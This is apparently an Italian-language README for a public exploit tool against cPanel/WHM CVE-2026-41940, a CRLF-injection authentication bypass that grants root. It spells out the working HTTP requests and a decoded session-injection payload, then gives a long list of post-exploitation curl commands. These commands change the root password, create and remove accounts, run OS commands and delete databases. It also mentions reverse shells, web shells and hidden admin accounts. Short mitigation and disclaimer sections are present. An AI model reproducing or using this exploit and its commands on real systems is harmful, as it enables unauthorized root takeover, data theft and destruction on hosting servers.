
Exploit critico di bypass dell'autenticazione per cPanel/WHM CVE-2026-41940. Sfrutta l'iniezione CRLF nel demone cpsrvd per ottenere accesso root a WHM senza credenziali. Include rilevamento della versione, logging dettagliato, supporto proxy, reporting JSON ed enumerazione degli account post-exploitation. Solo per test di sicurezza autorizzati.
Bypass critico dell'autenticazione tramite iniezione CRLF nel daemon cpsrvd di cPanel/WHM
CVE-2026-41940 è una vulnerabilità critica di bypass dell'autenticazione in cPanel & WHM che consente ad attaccanti remoti non autenticati di ottenere accesso amministrativo di livello root al server. La vulnerabilità risiede nella gestione delle sessioni del daemon
cpsrvd, in particolare inCpanel/Session.pm, dove la neutralizzazione impropria dei delimitatori di riga (CRLF) nel cookiewhostmgrsessione negli headerAuthorizationconsente l'iniezione di parametri di sessione.
| Punteggio CVSS | Tipo di Exploit | Impatto | Vettore di Attacco |
|---|---|---|---|
| 9.8 | Bypass dell'Autenticazione | Accesso Root | Rete |
Questo strumento di exploit offre le seguenti caratteristiche principali:
🔓 Bypass dell'Autenticazione - Ottieni accesso root a WHM senza credenziali
🛡️ Tecniche di Bypass Multiple - Prova automaticamente diversi metodi di verifica
🌐 Supporto Proxy - Instrada il traffico attraverso proxy HTTP/HTTPS
📊 Report JSON - Genera report di valutazione dettagliati
📝 Registrazione Completa - Modalità di debug estesa con timestamp
🔍 Rilevamento Versione - Rileva e verifica automaticamente le versioni vulnerabili
👥 Enumerazione Account - Elenca tutti gli account cPanel post-exploit
🎯 Endpoint Multipli - Tenta vari endpoint API per la verifica
La vulnerabilità deriva da due problemi principali:
Iniezione CRLF nello Storage delle Sessioni - La funzione saveSession non sanifica i caratteri di nuova riga (\n) nel campo pass prima di scrivere nel file di sessione, consentendo l'iniezione di parametri di sessione arbitrari.
Bypass Condizionale della Codifica - Quando il cookie di sessione non contiene la parte ob (il segmento dopo la virgola), il valore di pass viene scritto non codificato (in chiaro), abilitando l'iniezione di sequenze CRLF.
# Python 3.6 or higher required
python3 --version
# Install required packages
pip install -r requirements.txt
requests>=2.28.0
urllib3>=1.26.0
git clone https://github.com/CerberusMrXi/cPanel-WHM-CVE-2026-41940-auth-bypass-exploit.git
cd cPanel-WHM-CVE-2026-41940-auth-bypass-exploit
python3 exploit.py --target https://target.com:2087
# Verbose mode with debug output
python3 exploit.py --target https://target.com:2087 --verbose
# Through proxy
python3 exploit.py --target https://target.com:2087 --proxy http://127.0.0.1:8080
# Save report and list accounts
python3 exploit.py --target https://target.com:2087 --output report.json --list-accounts
# Custom timeout
python3 exploit.py --target https://target.com:2087 --timeout 30
=======================================================
CVE-2026-41940 - cPanel/WHM Authentication Bypass
Critical CRLF Injection in cpsrvd (CVSS: 9.8 )
Exploit Version: 1.0
=======================================================
Target : https://target.com:2087
Started : 2026-07-26 22:23:18
=======================================================
2026-07-26 22:23:18 [INFO] Detecting cPanel/WHM version...
2026-07-26 22:23:19 [INFO] Version: 11.110.0.85 - Vulnerable
2026-07-26 22:23:19 [INFO] Attempting to mint pre-authentication session...
2026-07-26 22:23:20 [INFO] Pre-authentication session obtained successfully
2026-07-26 22:23:20 [INFO] Injecting CRLF payload via Authorization header...
2026-07-26 22:23:21 [INFO] Token leaked: /cpsess1234567890
2026-07-26 22:23:21 [INFO] Verifying root access with multiple bypass techniques...
2026-07-26 22:23:25 [INFO] Access verified with URL format: /cpsess-{token}
=======================================================
EXPLOIT SUCCESSFUL
=======================================================
Target : https://target.com:2087
Token : /cpsess1234567890
Admin URL : https://target.com:2087/cpsess1234567890/
Version : 11.110.0.85
Verification Method : url_format
Completed : 2026-07-26 22:23:25
=======================================================
[!] Access WHM with the token above
[!] Use the token in all subsequent requests
[!] Example: curl -k "https://target.com:2087/cpsess1234567890/json-api/version?api.version=1"
=======================================================
L'exploit ottiene prima un cookie di sessione pre-autenticazione tentando un accesso fallito:
POST /login/?login_only=1 HTTP/1.1
Host: target.com:2087
Content-Type: application/x-www-form-urlencoded
user=root&pass=wrong_pass
Risposta:
Set-Cookie: whostmgrsession=base64_encoded_data
L'header Authorization appositamente costruito inietta parametri di sessione dannosi:
GET / HTTP/1.1
Host: target.com:2087
Authorization: Basic cm9vdDp4DQpzdWNjZXNzZnVsX2ludGVybmFsX2F1dGhfd2l0aF90aW1lc3RhbXA9OTk5OTk5OTk5OQ0KdXNlcj1yb290DQp0ZmFfdmVyaWZpZWQ9MQ0KaGFzcm9vdD0x
Cookie: whostmgrsession=[SESSION_BASE]
Payload Decodificato:
root:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1
Il server risponde con un reindirizzamento contenente il token di sessione amministrativo:
Location: /cpsess1234567890/
L'exploit tenta diversi metodi di verifica per confermare l'accesso root.
Una volta che l'exploit ha avuto successo, utilizza i seguenti comandi con il token ottenuto:
# Get server version
curl -k "https://target.com:2087/cpsess-1234567890/json-api/version?api.version=1"
# Get server information
curl -k "https://target.com:2087/cpsess-1234567890/json-api/server_info?api.version=1"
# Get hostname
curl -k "https://target.com:2087/cpsess-1234567890/json-api/get_hostname?api.version=1"
# Get load average
curl -k "https://target.com:2087/cpsess-1234567890/json-api/loadavg?api.version=1"
# Get CPU usage
curl -k "https://target.com:2087/cpsess-1234567890/json-api/get_cpu_usage?api.version=1"
# Get memory usage
curl -k "https://target.com:2087/cpsess-1234567890/json-api/get_memory_usage?api.version=1"
# Get disk usage
curl -k "https://target.com:2087/cpsess-1234567890/json-api/get_disk_usage?api.version=1"
# Server time
curl -k "https://target.com:2087/cpsess-1234567890/json-api/server_time?api.version=1"
# Service status
curl -k "https://target.com:2087/cpsess-1234567890/json-api/service_status?api.version=1"
# List all cPanel accounts
curl -k "https://target.com:2087/cpsess-1234567890/json-api/listaccts?api.version=1"
# List accounts with details
curl -k "https://target.com:2087/cpsess-1234567890/json-api/account_list?api.version=1"
# Account summary
curl -k "https://target.com:2087/cpsess-1234567890/json-api/account_summary?api.version=1"
# Domain information
curl -k "https://target.com:2087/cpsess-1234567890/json-api/domain_info?api.version=1"
# Email statistics
curl -k "https://target.com:2087/cpsess-1234567890/json-api/email_stats?api.version=1"
# PHP configuration
curl -k "https://target.com:2087/cpsess-1234567890/json-api/php_ini?api.version=1"
# Server status
curl -k "https://target.com:2087/cpsess-1234567890/scripts2/serverstatus"
# System information
curl -k "https://target.com:2087/cpsess-1234567890/scripts2/sysinfo"
# List accounts (alternative )
curl -k "https://target.com:2087/cpsess-1234567890/scripts2/listaccts"
# Show processes
curl -k "https://target.com:2087/cpsess-1234567890/scripts2/showprocs"
# Disk usage
curl -k "https://target.com:2087/cpsess-1234567890/scripts2/diskusage"
# Change user password
curl -k -X POST "https://target.com:2087/cpsess-1234567890/json-api/passwd" \
-d "user=root&pass=NewP@ss123"
# Create new account
curl -k -X POST "https://target.com:2087/cpsess-1234567890/json-api/createacct" \
-d "username=testuser&domain=test.com&password=TestPass123&plan=default"
# Execute OS commands
curl -k -X POST "https://target.com:2087/cpsess-1234567890/scripts/run_script" \
-d "script=id"
# Suspend account
curl -k -X POST "https://target.com:2087/cpsess-1234567890/json-api/suspendacct" \
-d "user=testuser"
# Unsuspend account
curl -k -X POST "https://target.com:2087/cpsess-1234567890/json-api/unsuspendacct" \
-d "user=testuser"
# Remove account
curl -k -X POST "https://target.com:2087/cpsess-1234567890/json-api/removeacct" \
-d "user=testuser"
# Get security advisor info
curl -k "https://target.com:2087/cpsess-1234567890/json-api/security_advisor?api.version=1"
# Get SSH key info
curl -k "https://target.com:2087/cpsess-1234567890/json-api/get_ssh_keys?api.version=1"
# Check firewall status
curl -k "https://target.com:2087/cpsess-1234567890/json-api/firewall_status?api.version=1"
# Get SSL certificates
curl -k "https://target.com:2087/cpsess-1234567890/json-api/ssl_certificates?api.version=1"
# List MySQL databases
curl -k "https://target.com:2087/cpsess-1234567890/json-api/databases?api.version=1"
# Create database
curl -k -X POST "https://target.com:2087/cpsess-1234567890/json-api/create_db" \
-d "db=test_db"
# Delete database
curl -k -X POST "https://target.com:2087/cpsess-1234567890/json-api/delete_db" \
-d "db=test_db"
# List database users
curl -k "https://target.com:2087/cpsess-1234567890/json-api/db_users?api.version=1"
Una volta ottenuto l'accesso root a WHM, un attaccante può:
🔍 Elencare tutti gli account cPanel
👤 Creare nuovi account cPanel
🔑 Modificare le password degli account
❌ Eliminare o sospendere account
🖥️ Eseguire comandi di sistema operativo
🔄 Cambiare la password di root
📊 Visualizzare le statistiche del server
🗄️ Gestire i database MySQL
🐚 Distribuire reverse shell
🌐 Installare web shell
🗝️ Installare backdoor
🔒 Creare account amministrativi nascosti
📁 Accedere a tutti i file del server
💾 Esportare i database
📧 Leggere gli account email
🔐 Accedere ai certificati SSL
# 1. Update cPanel/WHM immediately
/scripts/upcp --force
# 2. Invalidate all active sessions
rm -rf /var/cpanel/sessions/raw/*
rm -rf /var/cpanel/sessions/cache/*
systemctl restart cpanel
# 3. Restrict WHM access to trusted IPs
# Add to /etc/csf/csf.conf
# Or configure firewall
# 4. Enable Multi-Factor Authentication (MFA )
# WHM > Security Center > Two-Factor Authentication
# 5. Change ALL passwords
# - Root password
# - All cPanel user passwords
# - Database passwords
# - FTP passwords
# 6. Audit system for backdoors
find / -type f -mtime -7 -name "*.php" -o -name "*.pl" -o -name "*.cgi"
# 7. Check for malicious cron jobs
crontab -l
for user in $(cut -f1 -d: /etc/passwd); do crontab -u $user -l; done
# 8. Check SSH authorized keys
for user in $(cut -f1 -d: /etc/passwd); do
echo "=== $user ==="
cat /home/$user/.ssh/authorized_keys 2>/dev/null
done
✅ Implementare una validazione rigorosa degli input per prevenire l'iniezione CRLF
✅ Distribuire regole WAF per rilevare e bloccare richieste dannose
✅ Abilitare restrizioni di accesso basate su IP per WHM
✅ Aggiornare regolarmente cPanel/WHM alle versioni più recenti
✅ Condurre valutazioni di sicurezza regolari
✅ Monitorare i log per attività sospette
✅ Implementare il principio del privilegio minimo
✅ Abilitare Security Advisor in WHM
✅ Eseguire audit di sicurezza regolari
✅ Implementare un sistema di rilevamento delle intrusioni
{
"timestamp": "2026-07-26T22:23:25.123456",
"target": "https://target.com:2087",
"status": "success",
"token": "1234567890",
"detected_version": "11.110.0.85",
"vulnerable": true,
"verification_method": "url_format",
"notes": "Root access confirmed; Token verified",
"exploit_name": "CVE-2026-41940",
"cvss_score": "9.8",
"description": "cPanel/WHM Authentication Bypass via CRLF Injection",
"exploit_version": "1.0"
}
Questo strumento è fornito esclusivamente a scopo educativo e di ricerca sulla sicurezza etica. L'autore e i collaboratori non sono responsabili di qualsiasi uso improprio o danno causato da questo software. Utilizzando questo strumento, accetti di assumerti ogni responsabilità per le tue azioni. Assicurati di avere un'autorizzazione esplicita prima di testare qualsiasi sistema.
Accogliamo con piacere i contributi! Segui questi passaggi:
🍴 Fai il fork del repository
🔧 Crea il tuo branch per la funzionalità (git checkout -b feature/amazing-feature )
💾 Esegui il commit delle tue modifiche (git commit -m 'Add amazing feature')
📤 Esegui il push sul branch (git push origin feature/amazing-feature)
🔃 Apri una Pull Request
🎉 Rilascio iniziale
🔓 Implementazione dell'exploit con iniezione CRLF
🛡️ Tecniche multiple di bypass della verifica
📊 Generazione di report JSON
🌐 Supporto proxy
📝 Registrazione completa
🔍 Rilevamento della versione
👥 Enumerazione degli account
📚 Comandi post-exploitation completi
Avviso di Sicurezza - [email protected]
Problemi su GitHub - Apri un problema
⚠️ RICORDA: Da grandi poteri derivano grandi responsabilità! Usa eticamente! ⚠️
Realizzato con ❤️ per la community della sicurezza
| Attributo | Valore |
|---|
| ID CVE | CVE-2026-41940 |
| Punteggio CVSS | 9.8 (Critico) |
| Tipo di Vulnerabilità | Bypass dell'Autenticazione tramite Iniezione CRLF |
| Componente Interessato | daemon cpsrvd (Cpanel/Session.pm) |
| Vettore di Attacco | Rete |
| Impatto | Accesso Root Completo |
| Sfruttamento | Remoto Non Autenticato |
| Canale di Rilascio | Vulnerabile Fino a | Versione Corretta |
|---|
| 11.110.x | 11.110.0.96 | 11.110.0.97 |
| 11.118.x | 11.118.0.62 | 11.118.0.63 |
| 11.126.x | 11.126.0.53 | 11.126.0.54 |
| 11.132.x | 11.132.0.28 | 11.132.0.29 |
| 11.134.x | 11.134.0.19 | 11.134.0.20 |
| 11.136.x | 11.136.0.4 | 11.136.0.5 |
| Argomento | Breve | Richiesto | Descrizione |
|---|
--target | -t | ✅ | URL del target (es. https://target.com:2087 ) |
--verbose | -v | ❌ | Abilita output verboso/di debug |
--proxy | -p | ❌ | URL del proxy (es. http://127.0.0.1:8080 ) |
--output | -o | ❌ | File di output per il report JSON |
--timeout | ❌ | Timeout della richiesta in secondi (predefinito: 10) | |
--list-accounts | -l | ❌ | Elenca gli account cPanel dopo un exploit riuscito |
--version | ❌ | Mostra la versione dell'exploit |